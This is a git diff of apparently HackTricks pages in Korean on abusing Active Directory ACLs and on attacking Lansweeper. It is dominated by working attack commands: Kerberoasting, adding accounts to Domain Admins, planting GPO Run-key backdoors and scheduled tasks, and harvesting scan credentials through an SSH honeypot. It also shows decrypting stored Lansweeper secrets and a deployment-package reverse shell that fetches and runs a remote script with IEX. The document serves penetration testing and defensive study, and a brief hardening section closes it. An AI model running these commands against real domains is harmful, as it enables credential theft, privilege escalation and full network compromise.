있습니다: -- **대상의 비밀번호 변경**: `net user /domain`을 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다. -- **대상 Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable하게 만든 후, Rubeus와 targetedKerberoast.py를 사용하여 티켓 부여 티켓(TGT) 해시를 추출하고 크랙을 시도할 수 있습니다. +- **대상의 비밀번호 변경**: `net user /domain`를 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다. +- **Targeted Kerberoasting**: 사용자 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus와 targetedKerberoast.py를 사용해 ticket-granting ticket (TGT) 해시를 추출하고 크랙을 시도합니다. ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: 사용자의 사전 인증을 비활성화하여 해당 계정을 ASREPRoasting에 취약하게 만듭니다. +- **Targeted ASREPRoasting**: 해당 사용자의 pre-authentication을 비활성화하여 계정이 ASREPRoasting에 취약해지게 합니다. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -## **GenericAll 권한이 있는 그룹** +## **그룹에 대한 GenericAll 권한** -이 권한은 공격자가 `Domain Admins`와 같은 그룹에 `GenericAll` 권한이 있을 경우 그룹 구성원을 조작할 수 있게 해줍니다. `Get-NetGroup`을 사용하여 그룹의 고유 이름을 식별한 후, 공격자는: +이 권한은 공격자가 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가지고 있다면 그룹 멤버십을 조작할 수 있게 합니다. `Get-NetGroup`으로 그룹의 distinguished name을 확인한 후 공격자는 다음을 수행할 수 있습니다: -- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 통해 또는 Active Directory나 PowerSploit와 같은 모듈을 사용하여 수행할 수 있습니다. +- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 통해 또는 Active Directory나 PowerSploit 같은 모듈을 사용하여 수행할 수 있습니다. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` +- Linux에서 GenericAll/Write 멤버십을 보유한 경우 BloodyAD를 사용해 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있으면 해당 그룹을 적용하는 호스트에서 즉시 WinRM 접근 권한을 얻습니다: +```bash +# Linux tooling example (BloodyAD) to add yourself to a target group +bloodyAD --host -d -u -p '' add groupMember "" + +# If the target group is member of "Remote Management Users", WinRM becomes available +netexec winrm -u -p '' +``` ## **GenericAll / GenericWrite / Write on Computer/User** -이러한 권한을 컴퓨터 객체나 사용자 계정에서 보유하면 다음을 수행할 수 있습니다: +이러한 권한을 컴퓨터 오브젝트나 사용자 계정에 보유하면 다음이 가능합니다: -- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 장악할 수 있게 해줍니다. -- **Shadow Credentials**: 이 기술을 사용하여 권한을 이용해 그림자 자격 증명을 생성함으로써 컴퓨터 또는 사용자 계정을 가장할 수 있습니다. +- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 오브젝트를 탈취할 수 있습니다. +- **Shadow Credentials**: 권한을 이용해 Shadow Credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 수 있습니다. ## **WriteProperty on Group** -사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 다음을 수행할 수 있습니다: +사용자가 특정 그룹(예: `Domain Admins`)에 대한 모든 객체에 대해 `WriteProperty` 권한을 가지고 있으면, 다음을 수행할 수 있습니다: -- **자신을 Domain Admins 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 이 방법으로 도메인 내에서 권한 상승을 할 수 있습니다. +- **Domain Admins 그룹에 자신을 추가**: `net user`와 `Add-NetGroupUser` 명령을 조합해 달성할 수 있으며, 이 방법은 도메인 내에서 privilege escalation을 허용합니다. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **Self (Self-Membership) on Group** -이 권한은 공격자가 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 해줍니다. 그룹 멤버십을 직접 조작하는 명령을 통해 가능합니다. 다음 명령 시퀀스를 사용하면 자기 추가가 가능합니다: +이 권한은 공격자가 그룹 멤버십을 직접 조작하는 명령을 통해 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 합니다. 다음 명령 시퀀스를 사용하면 자신을 추가할 수 있습니다: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Self-Membership)** -유사한 권한으로, 공격자는 해당 그룹에 대한 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음과 같이 수행됩니다: +유사한 권한으로, 공격자는 해당 그룹에 대해 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음을 통해 수행됩니다: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password`에 대한 사용자의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 검증 및 악용은 PowerShell 또는 대체 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션 및 비대화형 환경을 위한 원라이너를 포함하여 사용자의 비밀번호를 재설정하는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux의 `rpcclient` 사용에 이르기까지 다양하여 공격 벡터의 다재다능함을 보여줍니다. +사용자에 대해 `ExtendedRight`로 지정된 `User-Force-Change-Password` 권한을 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 확인 및 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, interactive sessions와 비대화형 환경을 위한 one-liners를 포함한 여러 방법으로 사용자의 비밀번호를 재설정할 수 있습니다. 명령어는 간단한 PowerShell 호출부터 Linux에서 `rpcclient`를 사용하는 것까지 다양하여 공격 벡터의 유연성을 보여줍니다. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -78,7 +87,7 @@ rpcclient -U KnownUsername 10.10.10.192 ``` ## **WriteOwner on Group** -공격자가 그룹에 대해 `WriteOwner` 권한을 가지고 있다고 판단하면, 그들은 그룹의 소유권을 자신으로 변경할 수 있습니다. 이는 해당 그룹이 `Domain Admins`일 경우 특히 영향력이 큽니다. 소유권을 변경하면 그룹 속성과 구성원에 대한 더 넓은 제어가 가능해집니다. 이 과정은 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음, SID 또는 이름을 사용하여 `Set-DomainObjectOwner`를 통해 소유자를 수정하는 것을 포함합니다. +공격자가 특정 그룹에 대해 `WriteOwner` 권한을 가지고 있다는 것을 알게 되면, 해당 그룹의 소유자를 자신으로 변경할 수 있습니다. 이 권한은 대상 그룹이 `Domain Admins`일 경우 특히 큰 영향을 미치며, 소유권 변경을 통해 그룹 속성 및 멤버십을 더 광범위하게 제어할 수 있습니다. 이 절차는 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음 `Set-DomainObjectOwner`를 사용하여 SID 또는 이름으로 소유자를 변경하는 것을 포함합니다. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -86,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -이 권한은 공격자가 사용자 속성을 수정할 수 있게 해줍니다. 특히, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그온할 때 악성 스크립트를 실행할 수 있습니다. 이는 `Set-ADObject` 명령을 사용하여 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다. +이 권한은 공격자가 사용자 속성을 수정할 수 있게 합니다. 구체적으로, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경해 사용자가 로그온할 때 악성 스크립트를 실행하게 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용해 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 이루어집니다. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` -## **GenericWrite on Group** +## **GenericWrite on Group -이 권한을 통해 공격자는 그룹 구성원을 조작할 수 있으며, 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용하여 그룹에서 사용자를 추가하거나 제거하며, PowerShell 명령으로 구성원 변경 사항을 확인하는 것을 포함합니다. +이 권한을 통해 공격자는 그룹 멤버십을 조작할 수 있습니다. 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가하는 등의 작업이 가능합니다. 이 과정은 credential object를 생성하고, 이를 사용해 그룹에서 사용자를 추가하거나 제거한 뒤 PowerShell 명령으로 멤버십 변경을 확인하는 것을 포함합니다. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -102,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -AD 객체를 소유하고 그에 대한 `WriteDACL` 권한을 가지면 공격자는 자신에게 해당 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 구성원 자격을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고 Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlet을 사용하여 이러한 권한을 악용하려고 할 때 제한 사항이 존재합니다. +AD 객체를 소유하고 `WriteDACL` 권한을 가지고 있으면 공격자는 해당 객체에 대해 자신에게 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고, Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlets를 사용하여 이러한 권한을 악용하려고 할 때는 제한 사항이 존재합니다. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -112,64 +121,64 @@ $ADSI.psbase.commitchanges() ``` ## **도메인에서의 복제 (DCSync)** -DCSync 공격은 도메인에서 특정 복제 권한을 활용하여 도메인 컨트롤러를 모방하고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기술은 `DS-Replication-Get-Changes`와 같은 권한을 요구하며, 공격자가 도메인 컨트롤러에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**DCSync 공격에 대해 더 알아보세요.**](../dcsync.md) +DCSync 공격은 도메인의 특정 복제 권한을 활용해 Domain Controller를 가장하고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기법은 `DS-Replication-Get-Changes` 같은 권한을 필요로 하며, 공격자가 Domain Controller에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**Learn more about the DCSync attack here.**](../dcsync.md) -## GPO 위임 +## GPO Delegation -### GPO 위임 +### GPO Delegation -그룹 정책 개체(GPO)를 관리하기 위한 위임된 접근은 상당한 보안 위험을 초래할 수 있습니다. 예를 들어, `offense\spotless`와 같은 사용자가 GPO 관리 권한을 위임받으면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 PowerView를 사용하여 악용될 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Group Policy Objects (GPOs)를 관리할 수 있는 위임된 접근 권한은 심각한 보안 위험을 초래할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자에게 GPO 관리 권한이 위임되어 있다면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 악의적으로 남용될 수 있으며, PowerView를 사용해 다음과 같이 식별할 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -### GPO 권한 열거 +### Enumerate GPO Permissions -잘못 구성된 GPO를 식별하기 위해 PowerSploit의 cmdlet을 연결하여 사용할 수 있습니다. 이를 통해 특정 사용자가 관리할 수 있는 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +잘못 구성된 GPO를 식별하기 위해 PowerSploit의 cmdlet들을 연결(chain)해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**적용된 정책이 있는 컴퓨터**: 특정 GPO가 적용된 컴퓨터를 확인할 수 있으며, 이는 잠재적 영향 범위를 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**지정된 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인할 수 있어 잠재적 영향 범위를 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 적용된 정책을 보려면 `Get-DomainGPO`와 같은 명령을 사용할 수 있습니다. +**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되어 있는지 확인하려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다. -**적용된 정책이 있는 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하기 위해 `Get-DomainOU`를 사용할 수 있습니다. +**특정 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용합니다. -또한 [**GPOHound**](https://github.com/cogiceo/GPOHound) 도구를 사용하여 GPO를 열거하고 문제를 찾을 수 있습니다. +또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용하여 GPO를 열거하고 문제를 찾을 수 있습니다. -### GPO 악용 - New-GPOImmediateTask +### Abuse GPO - New-GPOImmediateTask -잘못 구성된 GPO는 코드를 실행하는 데 악용될 수 있으며, 예를 들어 즉시 예약된 작업을 생성하여 영향을 받는 머신의 로컬 관리자 그룹에 사용자를 추가할 수 있습니다. 이는 권한을 크게 상승시킵니다: +잘못 구성된 GPO는 즉시 실행되는 스케줄된 작업을 생성하는 식으로 코드 실행에 악용될 수 있습니다. 이를 통해 영향받는 시스템의 로컬 Administrators 그룹에 사용자를 추가하여 권한을 크게 상승시킬 수 있습니다: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` -### GroupPolicy 모듈 - GPO 남용 +### GroupPolicy module - Abuse GPO -GroupPolicy 모듈이 설치된 경우, 새로운 GPO를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 백도어를 실행하기 위한 레지스트리 값과 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다: +GroupPolicy module가 설치되어 있으면 새로운 GPOs를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 backdoors를 실행하도록 registry values와 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` -### SharpGPOAbuse - GPO 악용 +### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse는 새로운 GPO를 생성할 필요 없이 기존 GPO를 악용하여 작업을 추가하거나 설정을 수정하는 방법을 제공합니다. 이 도구는 변경 사항을 적용하기 전에 기존 GPO를 수정하거나 RSAT 도구를 사용하여 새로운 GPO를 생성해야 합니다: +SharpGPOAbuse는 새 GPO를 생성할 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 abuse하는 방법을 제공합니다. 이 도구는 변경 사항을 적용하기 전 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새 GPOs를 생성해야 합니다: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` -### 정책 강제 업데이트 +### 정책 업데이트 강제 -GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 프로세스를 가속화하기 위해, 특히 변경 사항을 구현한 후에, 대상 컴퓨터에서 `gpupdate /force` 명령을 사용하여 즉각적인 정책 업데이트를 강제할 수 있습니다. 이 명령은 GPO에 대한 모든 수정 사항이 다음 자동 업데이트 주기를 기다리지 않고 적용되도록 보장합니다. +GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 과정을 앞당기려면, 특히 변경을 적용한 직후에 대상 컴퓨터에서 `gpupdate /force` 명령을 사용해 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPO에 대한 모든 수정 사항이 적용되도록 보장합니다. -### 내부 작동 +### 내부 동작 -주어진 GPO의 예약된 작업을 검사하면, `Misconfigured Policy`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 수정하거나 권한을 상승시키기 위한 스크립트나 명령줄 도구를 통해 생성됩니다. +특정 GPO(예: `Misconfigured Policy`)의 Scheduled Tasks를 검사하면 `evilTask`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키기 위해 스크립트나 명령줄 도구를 통해 생성됩니다. -`New-GPOImmediateTask`에 의해 생성된 XML 구성 파일에 표시된 작업의 구조는 예약된 작업의 세부 사항을 설명합니다 - 실행할 명령과 그 트리거를 포함합니다. 이 파일은 GPO 내에서 예약된 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 집행의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다. +`New-GPOImmediateTask`로 생성된 XML 구성 파일에 표시된 작업의 구조는 실행할 명령과 트리거를 포함하여 예약 작업의 세부사항을 설명합니다. 이 파일은 GPO 내에서 예약 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 적용의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다. ### 사용자 및 그룹 -GPO는 또한 대상 시스템에서 사용자 및 그룹 구성원의 조작을 허용합니다. 사용자 및 그룹 정책 파일을 직접 편집함으로써, 공격자는 로컬 `administrators` 그룹과 같은 특권 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 이는 정책 파일을 수정하여 새로운 사용자를 포함하거나 그룹 구성원을 변경할 수 있도록 허용합니다. +GPO는 대상 시스템에서 사용자 및 그룹 멤버십을 조작할 수도 있습니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한이 부여된 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새로운 사용자를 포함하거나 그룹 멤버십을 변경할 수 있게 합니다. -사용자 및 그룹에 대한 XML 구성 파일은 이러한 변경 사항이 어떻게 구현되는지를 설명합니다. 이 파일에 항목을 추가함으로써, 특정 사용자에게 영향을 받는 시스템에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승에 대한 직접적인 접근 방식을 제공합니다. +Users and Groups용 XML 구성 파일은 이러한 변경이 어떻게 구현되는지를 개략적으로 보여줍니다. 이 파일에 항목을 추가하면 특정 사용자에게 영향을 받는 시스템 전반에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승의 직접적인 접근법을 제공합니다. -또한, 로그온/로그오프 스크립트를 활용하거나, 자동 실행을 위한 레지스트리 키를 수정하거나, .msi 파일을 통해 소프트웨어를 설치하거나, 서비스 구성을 편집하는 등의 코드를 실행하거나 지속성을 유지하기 위한 추가 방법도 고려할 수 있습니다. 이러한 기술은 GPO의 남용을 통해 접근을 유지하고 대상 시스템을 제어하는 다양한 경로를 제공합니다. +또한 logon/logoff 스크립트 활용, autoruns용 레지스트리 키 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성을 유지하기 위한 추가적인 방법들도 고려될 수 있습니다. 이러한 기법들은 GPO 남용을 통해 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다. -## 참고 문헌 +## 참고 자료 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md new file mode 100644 index 000000000..f4e3570f5 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md @@ -0,0 +1,153 @@ +# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE + +{{#include ../../banners/hacktricks-training.md}} + +Lansweeper는 Windows에 배포되고 Active Directory와 통합되어 사용되는 IT 자산 탐지 및 인벤토리 플랫폼입니다. Lansweeper에 구성된 자격증명은 SSH, SMB/WMI, WinRM 같은 프로토콜을 통해 자산에 인증하기 위해 스캐닝 엔진에서 사용됩니다. 잘못된 구성으로 인해 자주 발생하는 문제는 다음과 같습니다: + +- 스캐닝 대상(target)을 공격자 제어 호스트(honeypot)로 리다이렉트하여 자격증명 가로채기 +- Lansweeper 관련 그룹들이 노출하는 AD ACL을 악용해 원격 접근 획득 +- 호스트에서 Lansweeper에 구성된 비밀(연결 문자열 및 저장된 스캔 자격증명) 복호화 +- Deployment 기능을 통해 관리되는 엔드포인트에서 코드 실행(종종 SYSTEM으로 실행) + +이 페이지는 실제 공격자가 인게이지먼트 동안 이러한 동작을 악용하는 워크플로우와 명령을 요약합니다. + +## 1) Harvest scanning credentials via honeypot (SSH example) + +아이디어: Scanning Target을 당신의 호스트로 가리키게 만들고 기존 Scanning Credentials를 거기에 매핑합니다. 스캔이 실행되면 Lansweeper는 해당 자격증명으로 인증을 시도하고, 당신의 honeypot이 그 시도된 자격증명을 캡처합니다. + +Steps overview (web UI): +- Scanning → Scanning Targets → Add Scanning Target +- Type: IP Range (or Single IP) = your VPN IP +- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked) +- Disable schedule and plan to trigger manually +- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed) +- Click “Scan now” on the target +- Run an SSH honeypot and retrieve the attempted username/password + +Example with sshesame: +```yaml +# sshesame.conf +server: +listen_address: 10.10.14.79:2022 +``` + +```bash +# Install and run +sudo apt install -y sshesame +sshesame --config sshesame.conf +# Expect client banner similar to RebexSSH and cleartext creds +# authentication for user "svc_inventory_lnx" with password "" accepted +# connection with client version "SSH-2.0-RebexSSH_5.0.x" established +``` +캡처한 creds를 DC services에 대해 검증: +```bash +# SMB/LDAP/WinRM checks (NetExec) +netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Notes +- 다른 프로토콜에서도 scanner를 당신의 listener로 유도할 수 있다면 비슷하게 작동합니다 (SMB/WinRM honeypots 등). SSH가 종종 가장 간단합니다. +- 많은 scanners가 고유한 client banners로 자신을 식별(예: RebexSSH)하며, uname, whoami 등의 무해한 명령을 시도합니다. + +## 2) AD ACL abuse: 자신을 app-admin group에 추가해 원격 접근 획득 + +침해된 계정으로부터 effective rights를 열거하려면 BloodHound를 사용하세요. 흔한 발견 사례는 scanner- 또는 앱 특정 그룹(예: “Lansweeper Discovery”)이 권한 있는 그룹(예: “Lansweeper Admins”)에 대해 GenericAll을 보유하고 있는 경우입니다. 해당 권한 그룹이 “Remote Management Users”의 멤버이기도 하면, 우리가 자신을 추가하면 WinRM이 사용 가능해집니다. + +Collection examples: +```bash +# NetExec collection with LDAP +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhound -c All --dns-server + +# RustHound-CE collection (zip for BH CE import) +rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '' -c All --zip +``` +BloodyAD (Linux)로 그룹에서 GenericAll을 Exploit: +```bash +# Add our user into the target group +bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '' \ +add groupMember "Lansweeper Admins" svc_inventory_lnx + +# Confirm WinRM access if the group grants it +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +그런 다음 interactive shell을 얻으세요: +```bash +evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +팁: Kerberos 연산은 시간에 민감합니다. KRB_AP_ERR_SKEW가 발생하면 먼저 DC와 시간을 동기화하세요: +```bash +sudo ntpdate # or rdate -n +``` +## 3) 호스트에서 Lansweeper에 구성된 비밀 복호화 + +Lansweeper 서버에서 ASP.NET 사이트는 일반적으로 애플리케이션에서 사용하는 암호화된 연결 문자열과 대칭 키를 저장합니다. 적절한 로컬 접근 권한이 있으면 DB 연결 문자열을 복호화한 다음 저장된 스캔 자격 증명을 추출할 수 있습니다. + +Typical locations: +- 웹 구성 파일: `C:\Program Files (x86)\Lansweeper\Website\web.config` +- `` … `…` +- 애플리케이션 키: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` + +SharpLansweeperDecrypt를 사용해 저장된 자격 증명 복호화 및 덤프를 자동화합니다: +```powershell +# From a WinRM session or interactive shell on the Lansweeper host +# PowerShell variant +Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell +powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1 +# Tool will: +# - Decrypt connectionStrings from web.config +# - Connect to Lansweeper DB +# - Decrypt stored scanning credentials and print them in cleartext +``` +예상 출력에는 DB 연결 정보 및 plaintext 스캐닝 자격 증명(환경 전반에 걸쳐 사용되는 Windows 및 Linux 계정 등)이 포함됩니다. 이러한 계정은 도메인 호스트에서 종종 높은 로컬 권한을 가집니다: +```text +Inventory Windows SWEEP\svc_inventory_win +Inventory Linux svc_inventory_lnx +``` +복구된 Windows scanning creds를 privileged access에 사용: +```bash +netexec winrm inventory.sweep.vl -u svc_inventory_win -p '' +# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers +``` +## 4) Lansweeper Deployment → SYSTEM RCE + +“As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host. + +High-level steps: +- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.). +- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now. +- Catch your shell as SYSTEM. + +Example payloads (PowerShell): +```powershell +# Simple test +powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" + +# Reverse shell example (adapt to your listener) +powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http:///rs.ps1')" +``` +OPSEC +- 배포 행동은 소음을 유발하며 Lansweeper 및 Windows event logs에 로그를 남깁니다. 신중하게 사용하세요. + +## 탐지 및 하드닝 + +- 익명 SMB 열거를 제한하거나 제거하세요. RID cycling 및 Lansweeper shares에 대한 이상 접근을 모니터링하세요. +- Egress controls: scanner hosts에서의 outbound SSH/SMB/WinRM을 차단하거나 엄격히 제한하세요. 비표준 포트(예: 2022) 및 Rebex와 같은 비정상적인 클라이언트 배너에 대해 경보를 설정하세요. +- Protect `Website\\web.config` and `Key\\Encryption.txt`. 비밀은 vault로 외부화하고 노출 시 